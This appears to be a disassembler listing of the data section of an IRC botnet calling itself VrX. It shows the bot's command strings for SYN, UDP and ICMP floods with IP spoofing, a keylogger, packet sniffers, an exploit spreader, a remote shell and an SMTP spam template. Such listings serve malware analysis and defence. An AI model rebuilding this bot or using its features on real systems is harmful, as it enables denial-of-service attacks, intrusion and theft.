unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao
; sub_4149C1+312o
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o
; sub_4149C1+2F2o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co
unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o
align 4
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
align 4
aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o
aP: ; DATA XREF: sub_401ACD+4F31o
; .packed:00438AF0o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o
aU: ; DATA XREF: sub_401ACD+4EBEo
; .packed:00438B00o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o
align 4
aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do
align 10h
aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo
; sub_401ACD+4D56o
align 4
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o
align 4
dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_401ACD+51DBo ...
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o
align 10h
unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o
; sub_413694:loc_4137C0o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o
; sub_413694:loc_4137A4o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo
; sub_413694+F1o
align 10h
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o
align 4
aE: ; DATA XREF: sub_401ACD+49DAo
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o
aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o
; sub_401ACD+49ACo
aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o
; sub_401ACD+6B0Co
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo
aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o
align 4
aM: ; DATA XREF: sub_401ACD+47E0o
; .packed:004387C8o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo
align 4
aA: ; DATA XREF: sub_401ACD+4784o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o
aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o
unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo
; sub_409909+5F0o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo
align 4
unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o
aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o
; sub_401ACD+443Do ...
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o
align 10h
dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_ db '- No thread found.',0
align 10h
dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o
aAlreadyRunning db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o
align 10h
unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 10h
unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo
aAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao
; sub_401ACD+41EAo ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo
aV: ; DATA XREF: sub_401ACD+3FE4o
; .packed:004387BCo ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o
; sub_401ACD+453Fo
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o
align 10h
aO: ; DATA XREF: sub_401ACD+3E74o
; .packed:00438AECo
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do
; sub_401ACD+583Ao ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o
align 10h
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o
align 4
aJ: ; DATA XREF: sub_401ACD+3D32o
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D04o
; .packed:004387C4o ...
unicode 0, <n>,0
unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do
align 10h
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o
align 10h
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AB7o
; sub_401ACD+3AF2o
dd 0
dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3A7Co
dd 1
dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A41o
; sub_401ACD+3B62o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o
; sub_401ACD+3991o ...
align 10h
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o
; sub_401ACD+3CEDo
align 4
dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+369Ao
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do
dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo
; sub_401ACD+3712o ...
dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o
; sub_40AAAC+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o
; sub_401ACD+3520o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o
; sub_401ACD+3D49o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o
; sub_401ACD+34F4o ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o
; sub_401ACD+3D1Bo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o
align 10h
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o
; sub_401ACD+47C9o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo
align 4
aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo
align 4
dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32A4o
dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o
dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
; sub_401ACD+385Co ...
dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo
; sub_401ACD+3275o ...
dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo
; sub_401ACD+4756o
unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co
align 10h
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o
align 4
unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o
; sub_401ACD+3F71o
unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 10h
unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 4
dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2D8Eo
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o
align 4
unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o
; sub_411BCE+A8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o
dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o
unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
; sub_401ACD:loc_409570o ...
align 4
unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
; sub_401ACD+78C1o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
align 4
unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 4
unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+2917o
dd 65726874h, 2E736461h, 0
dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o
unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2815o
dd 2E676Fh
unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+2658o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o
align 4
unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
